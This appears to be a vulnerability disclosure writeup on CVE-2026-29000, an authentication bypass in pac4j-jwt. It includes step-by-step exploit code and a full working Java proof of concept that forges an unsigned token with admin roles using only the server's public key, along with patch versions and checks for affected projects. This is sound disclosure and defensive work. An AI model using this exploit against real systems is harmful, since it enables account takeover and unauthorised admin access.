# CVE-2026-29000: Critical Authentication Bypass in pac4j-jwt — Using Only a Public Key (CVSS 10) **Source:** [CodeAnt AI Security Research – Full writeup and PoC](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key) (Mar 3, 2026). This document follows that writeup. What if the key you're supposed to share with the world is the only thing an attacker needs to impersonate any user on your system — including admin? That's what CodeAnt found in pac4j-jwt, a widely used Java authentication library. **CVE-2026-29000** has been assigned with a **CVSS score of 10.0 Critical**. A complete authentication bypass: an attacker with nothing more than your server's RSA public key can forge a JWT with arbitrary claims and authenticate as any user, with any role, without knowing a single secret. **Patch:** The maintainer (Jérôme Leleu) confirmed, patched, and published a [security advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html) crediting CodeAnt. If you use pac4j-jwt, upgrade: - **4.x:** 4.5.9 or newer - **5.x:** 5.7.9 or newer - **6.x:** 6.3.3 or newer --- ## Where This Started CodeAnt has been running an internal research project: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? They ran their [AI code reviewer](https://www.codeant.ai/ai-code-review) across packages with prior CVEs, scanning patch diffs and code paths. The AI flagged an anomaly in pac4j-jwt: a null check on `signedJWT` in front of the signature verification block that appeared to allow verification to be silently skipped. A security engineer traced the execution path and confirmed a complete authentication bypass. ## How JWT Authentication Is Supposed to Work Most production pac4j deployments use two layers: 1. **Encryption (JWE).** The JWT is encrypted with the server's RSA public key. Only the server (with the private key) can decrypt it. 2. **Signature (JWS).** Inside the encrypted wrapper, the JWT is signed. The server verifies this signature after decryption. Intended flow: ``` Client sends token → Server decrypts JWE (Layer 1 - confidentiality) → Server verifies JWS signature (Layer 2 - authenticity) → Server reads claims and authenticates user ``` Both layers must pass. Encryption protects confidentiality; signatures protect integrity and authenticity. You need both. ## What We Found: Signature Verification That Silently Disappears The anomaly was in `JwtAuthenticator.java`: a null check that gated the entire signature verification block. Simplified flow when the server receives a JWE token: ```java // Step 1: Decrypt the JWE for (EncryptionConfiguration config : encryptionConfigurations) { try { encryptedJWT.decrypt(config); // Step 2: Try to extract the inner signed JWT signedJWT = encryptedJWT.getPayload().toSignedJWT(); if (signedJWT != null) { jwt = signedJWT; } found = true; break; } catch (JOSEException e) { ... } } // Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL if (signedJWT != null) { for (SignatureConfiguration config : signatureConfigurations) { if (config.supports(signedJWT)) { verify = config.verify(signedJWT); // ... } } } // Step 4: Create authenticated profile from token claims createJwtProfile(ctx, credentials, jwt); ``` `toSignedJWT()` (Nimbus JOSE+JWT) parses the decrypted payload as a signed JWT (JWS). If the payload is a **PlainJWT** (unsigned), it returns **null**. When `signedJWT` is null: - The `if (signedJWT != null) { jwt = signedJWT; }` block is skipped; `jwt` keeps its earlier value from the raw parse. - The entire signature verification block is skipped. - `createJwtProfile()` is still called with the decrypted, unverified token. The gate is a null check on the wrong variable. If an attacker can make `toSignedJWT()` return null, signature verification never runs. ## Building the Exploit Making `toSignedJWT()` return null is trivial: don’t sign the token. ### Step 1: Obtain the Server's RSA Public Key In RSA-JWE deployments the server’s RSA public key is used to encrypt tokens. Public keys are public. They’re typically available via: - JWKS endpoint (e.g. `/.well-known/jwks.json`) - Application docs or configuration - TLS certificate inspection - Public repos where the key is checked in The problem: pac4j uses the same key material for JWE; the bypass only requires the encryption side (public key). ### Step 2: Craft Malicious Claims The attacker builds whatever claims they want (subject, roles, etc.): ```java JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder() .subject("admin") .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER")) .claim("email", "attacker@evil.com") .expirationTime(new Date(System.currentTimeMillis() + 3_600_000)) .build(); ``` ### Step 3: Create an Unsigned PlainJWT Instead of a signed JWT (JWS), the attacker creates a **PlainJWT**. Valid per the JWT spec; it has no signature. Nimbus’s `toSignedJWT()` then returns null. ```java PlainJWT innerJwt = new PlainJWT(maliciousClaims); ``` ### Step 4: Wrap in JWE Using the Public Key Wrap the PlainJWT in a JWE encrypted with the server’s RSA public key: ```java JWEObject jweObject = new JWEObject( new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM) .contentType("JWT") .build(), new Payload(innerJwt.serialize()) ); jweObject.encrypt(new RSAEncrypter(publicKey)); String maliciousToken = jweObject.serialize(); ``` From the outside this looks like any other JWE token. It decrypts successfully on the server; only after decryption does the bug trigger. ### Step 5: Submit and Authenticate as Anyone Send the token as a Bearer token: ``` Authorization: Bearer ``` On the server: JWE decryption succeeds → `toSignedJWT()` returns null → signature verification is skipped → `createJwtProfile()` runs with the attacker’s claims → attacker is authenticated (e.g. as admin with ROLE_ADMIN, ROLE_SUPERUSER). No private key, no shared secret, no brute force. ## Full Proof of Concept (CodeAnt) Complete working PoC against pac4j-jwt 6.0.3 (from [CodeAnt](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key)): ```java import com.nimbusds.jose.*; import com.nimbusds.jose.crypto.*; import com.nimbusds.jwt.*; import org.pac4j.jwt.config.encryption.RSAEncryptionConfiguration; import org.pac4j.jwt.config.signature.RSASignatureConfiguration; import org.pac4j.jwt.credentials.authenticator.JwtAuthenticator; import org.pac4j.core.credentials.TokenCredentials; import org.pac4j.core.context.MockWebContext; import org.pac4j.core.context.session.MockSessionStore; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.interfaces.RSAPublicKey; import java.util.Date; import java.util.List; public class Poc { public static void main(String[] args) throws Exception { // === SERVER SETUP (legitimate pac4j configuration) === KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA"); gen.initialize(2048); KeyPair serverKeyPair = gen.generateKeyPair(); JwtAuthenticator auth = new JwtAuthenticator(); auth.addEncryptionConfiguration(new RSAEncryptionConfiguration(serverKeyPair)); auth.addSignatureConfiguration(new RSASignatureConfiguration(serverKeyPair)); // === ATTACKER SIDE === (only has the RSA public key) RSAPublicKey publicKey = (RSAPublicKey) serverKeyPair.getPublic(); JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder() .subject("admin#override") .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER")) .claim("email", "attacker@evil.com") .expirationTime(new Date(System.currentTimeMillis() + 3_600_000)) .build(); PlainJWT innerJwt = new PlainJWT(maliciousClaims); JWEObject jweObject = new JWEObject( new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM) .contentType("JWT") .build(), new Payload(innerJwt.serialize()) ); jweObject.encrypt(new RSAEncrypter(publicKey)); String maliciousToken = jweObject.serialize(); System.out.println("[ATTACKER] Token crafted using only public key"); System.out.println("[ATTACKER] " + maliciousToken.substring(0, 80) + "..."); TokenCredentials credentials = new TokenCredentials(maliciousToken); auth.validate(credentials, MockWebContext.create(), new MockSessionStore()); System.out.println("[BYPASS] Authenticated as: " + credentials.getUserProfile().getId()); System.out.println("[BYPASS] Roles: " + credentials.getUserProfile().getRoles()); } } ``` Expected output: ``` [ATTACKER] Token crafted using only public key [ATTACKER] eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIiwiY3R5Ijoi... [BYPASS] Authenticated as: admin#override [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER] ``` ## Why This Matters Beyond pac4j The JWE–PlainJWT bypass exists because the code handled the *expected* flow (encrypted token → signed token inside → verify → authenticate) but not what the spec allows. The JWT spec defines PlainJWT as valid. Nimbus correctly returns null for non-JWS payloads. pac4j correctly checks `if (signedJWT != null)`. The bug is in the *composition*: the assumption that after decryption the inner payload would be a signed JWT was never enforced. That pattern — handling expected input but not all spec-allowed input — appears in many places (filters, path traversal, deserialization). ## The Disclosure: Two Days from Report to Patch CodeAnt sent private disclosure to Jérôme Leleu on February 28 with full technical details and PoC. He confirmed the next day and shipped patches for 4.x, 5.x, and 6.x by March 2; the [security advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html) was published March 3, crediting CodeAnt. CVE-2026-29000 was assigned March 4 (VulnCheck). ## Timeline | Date | Event | |------|--------| | Feb 28, 2026 | Vulnerability flagged by CodeAnt AI code reviewer; confirmed and PoC verified; private disclosure to Jérôme Leleu | | Mar 2, 2026 | Maintainer confirmed; patches shipped for 4.x, 5.x, 6.x | | Mar 3, 2026 | [Security advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html) published; CodeAnt writeup published | | Mar 4, 2026 | CVE-2026-29000 assigned (VulnCheck) | ## Are You Affected? ### 1. Check if you depend on pac4j-jwt - **Maven:** `mvn -q dependency:tree -Dincludes=org.pac4j:pac4j-jwt` - **Gradle:** `./gradlew -q dependencies --configuration runtimeClasspath | grep -i pac4j-jwt` - **Lockfiles / grep:** `grep -R "pac4j-jwt" -n` If you see `org.pac4j:pac4j-jwt` below **6.3.3** (or 5.7.9 for 5.x, 4.5.9 for 4.x), you need to update. ### 2. Check if you use the vulnerable flow You’re affected if all are true: - You use **JWE** (encrypted JWTs), not just JWS - Encryption is **RSA-based** (e.g. `RSAEncryptionConfiguration`) - You configure both `EncryptionConfiguration` and `SignatureConfiguration` - You authenticate with `JwtAuthenticator` Grep: ```bash grep -rn -E "JwtAuthenticator|EncryptionConfiguration|SignatureConfiguration|RSAEncryptionConfiguration|RSASignatureConfiguration" ``` If both encryption and signature config are added to a `JwtAuthenticator`, you’re on the vulnerable path. ### 3. Update - 4.x → **4.5.9+** - 5.x → **5.7.9+** - 6.x → **6.3.3+** --- ## CVE / CVSS (reference) | Field | Value | |-------|--------| | CVE | CVE-2026-29000 | | CWE | CWE-347 Improper Verification of Cryptographic Signature | | CVSS v3.1 | 10.0 Critical | | CVSS v4.0 | 10.0 Critical | | Vector v3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L | | Vector v4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L | ## References - **[CodeAnt AI – Full writeup and PoC (source)](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key)** - [pac4j security advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html) - [VulnCheck advisory](https://www.vulncheck.com/advisories/pac4j-jwt-jwtauthenticator-authentication-bypass) - [OpenCVE CVE-2026-29000](https://app.opencve.io/cve/CVE-2026-29000) - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-29000) **Credit:** CodeAnt AI Security Research.